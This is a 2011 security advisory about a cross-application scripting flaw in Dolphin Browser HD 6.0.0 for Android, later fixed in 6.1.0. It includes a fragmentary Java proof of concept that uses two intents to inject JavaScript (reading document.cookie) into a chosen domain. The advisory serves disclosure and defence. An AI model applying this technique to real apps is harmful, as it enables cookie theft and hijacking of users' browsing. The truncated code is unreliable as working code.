Dolphin Browser HD Cross Application Scripting

Type packetstorm
Reporter Yair Amit
Modified 2011-09-21T00:00:00


                                            `1 Background  
Android applications are executed in a sandbox environment, to ensure that no  
application can access sensitive information held by another, without adequate  
privileges. For example, the Dolphin browser application holds sensitive  
information such as cookies, cache and history, and this cannot be accessed  
by third-party apps. An android app may request specific privileges during  
its installation; if granted by the user, the app's capabilities are extended.  
Intents are used by Android apps for intercommunication. These objects can be  
broadcast, passed to the startActivity call (when an application starts another  
activity), or passed to the startService call (when an application starts a  
service). Normally, when startActivity is called, the target activity's  
onCreate method is executed. However, under AndroidManifest.xml it is possible  
to define different launch tags, which affect this behavior. One example is the  
singleTask launch tag, which makes the activity act as a singleton. This affects  
the startActivity call: if the activity has already been started when the call  
is made, the activity's onNewIntent member function is called instead of its  
onCreate method.  
2 Vulnerability  
A 3rd party application may exploit Dolphin Browser HD's URL loading process in  
order to inject JavaScript code into an arbitrary domain thus break Android's  
sandboxing. This can be done by sending two consecutive startActivity calls. The  
first call includes the attacked domain, and causes Dolphin Browser HD to load  
it, while the second call contains JavaScript code. the JavaScript URI will be  
opened under the current tab, i.e. the attacked domain.  
3 Impact  
By exploiting this vulnerability a malicious, non-privileged application may  
inject JavaScript code into the context of any domain; therefore, this  
vulnerability has the same implications as global XSS, albeit from an installed  
application rather than another website. Additionally, an application may  
install itself as a service, in order to inject JavaScript code from time to  
time into the currently opened tab, thus completely intercepting the user's  
browsing experience.  
4 Proof-of-Concept  
The following is a PoC for the second technique:  
public class CasExploit extends Activity  
static final String mPackage = "mobi.mgeek.TunnyBrowser";  
static final String mClass = "BrowserActivity";  
static final String mUrl = "http://target.domain/";  
static final String mJavascript = "alert(document.cookie)";  
static final int mSleep = 15000;  
public void onCreate(Bundle savedInstanceState) {  
try {  
catch (InterruptedException e) {}  
startBrowserActivity("javascript:" + mJavascript);  
private void startBrowserActivity(String url) {  
Intent res = new Intent("android.intent.action.VIEW");   
res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass));  
5 Vulnerable versions  
Dolphin Browser HD 6.0.0 has been found vulnerable.  
6 Vendor Response  
Dolphin Browser HD 6.1.0 has been released to Android Market, which incorporates  
a fix for this bug.  
8 Credit  
* Roee Hay <>  
* Yair Amit <>  
9 References  
* Original advisory:  
* Blog post:  
* Demo of the PoC:  
* Android Browser Cross-Application Scripting (CVE-2011-2357):  
10 Acknowledgments  
We would like to thank the Dolphin Browser team for the efficient and quick way  
in which it handled this security issue.